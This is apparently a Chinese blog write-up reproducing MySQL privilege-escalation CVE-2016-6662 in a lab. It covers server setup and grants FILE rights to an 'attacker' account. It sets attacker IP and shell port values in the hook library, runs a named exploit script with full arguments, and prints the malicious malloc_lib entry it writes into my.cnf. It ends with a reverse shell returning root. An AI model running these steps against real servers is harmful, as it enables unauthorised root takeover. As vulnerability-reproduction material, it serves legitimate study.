Mysql 提权漏洞 CVE-2016-6662

概述

最近出了一个mysql提权漏洞,趁热练练手。

利用前提

  • mysql_hookandroot_lib.c
  • mysql拥有my.cnf写权限
  • mysql root用户可执行 set global general_log_file = 'my.cnf'; sql语句
  • 需要file权限

环境搭建

安装mysql 5.6.32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ wget http://ftp.kaist.ac.kr/mysql/Downloads/MySQL-5.6/mysql-5.6.32-linux-glibc2.5-x86_64.tar.gz
$ sudo apt-get install libaio-dev(或者libaio1)
$ chmod 777 tmp
$ groupadd mysql
$ useradd -r -g mysql mysql
$ cd /usr/local/
$ tar zxvf /tmp/mysql-5.6.32-linux-glibc2.5-x86_64.tar.gz
$ ln -s mysql-5.6.32-linux-glibc2.5-x86_64 mysql
$ cd mysql
$ chown -R mysql .
$ chgrp -R mysql .
$ scripts/mysql_install_db --user=mysql
$ chown -R root .
$ chown -R mysql data
$ cp my.cnf /etc/my.cnf
$ bin/mysqld_safe --user=mysql &
$ cp support-files/mysql.server /etc/init.d/mysql.server
$ ./bin/mysqladmin -u root password '123456'
$ ./bin/mysqladmin -uroot -p123456 shutdown
$ bin/mysqld_safe --user=mysql &
# 如果想在任何地方都能直接使用mysql命令,需要设置环境变量:
$ vi /etc/environment # 在PATH=“…”最后添加mysql可执行文件所在路径(在这里是:/usr/local/mysql/bin)
$ source /etc/environment

版本信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.4 LTS
Release: 14.04
Codename: trusty
$ ./bin/mysqladmin -u root -p version
Enter password:
./bin/mysqladmin Ver 8.42 Distrib 5.6.32, for linux-glibc2.5 on x86_64
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Server version 5.6.32
Protocol version 10
Connection Localhost via UNIX socket
UNIX socket /tmp/mysql.sock
Uptime: 2 min 54 sec
Threads: 1 Questions: 10 Slow queries: 0 Opens: 67 Flush tables: 1 Open tables: 60 Queries per second avg: 0.057

进程属性

1
2
3
$ ps -aux | grep mysql
root 23 0.0 0.0 4440 748 ? S 10:02 0:00 /bin/sh bin/mysqld_safe --user=mysql
mysql 122 13.0 45.0 985540 457724 ? Sl 10:02 0:00 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/data/d1190820d670.err --pid-file=/usr/local/mysql/data/d1190820d670.pid

可以看出,mysqld_safe封装脚本是以root权限启动的,而主要的mysqld进程是用较低权限的mysql用户启动的。

复现准备

修改my.cnf权限

1
2
# 将/usr/local/mysql/my.cnf
$ chown mysql:mysql /usr/local/mysql/my.cnf

创建attacker用户,并赋予file,select,insert权限,创建用于实验的数据库pocdb

1
2
3
CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';

复现

修改一下mysql_hookandroot_lib.c的ip,port和my.cnf的位置:

1
2
3
#define ATTACKERS_IP "192.168.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/usr/local/mysql/my.cnf"

修改一下0ldSQL_MySQL_RCE_exploit.py的port和my.cnf的位置,然后执行

1
$ python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.1 -dbname pocdb -mycnf /usr/local/mysql/my.cnf

执行成功后会在my.cnf里添加如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
/usr/local/mysql/bin/mysqld, Version: 5.6.32 (MySQL Community Server (GPL)). started with:
Tcp port: 3306 Unix socket: /tmp/mysql.sock
Time Id Command Argument
160929 9:37:14 1 Query select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/usr/local/mysql/data/mysql_hookandroot_lib.so'
[abyss]
" INTO void
1 Query SET global general_log = off

虽然直接把日志写在my.cnf里重启mysql时会执行失败,但是不用担心,config_cleanup() 这个函数会清除这些。

重启mysql

1
2
3
4
Listening on [0.0.0.0] (family 0, port 12344)
Connection from [192.168.0.4] port 12344 [tcp/*] accepted (family 2, sport 34434)
whoami
root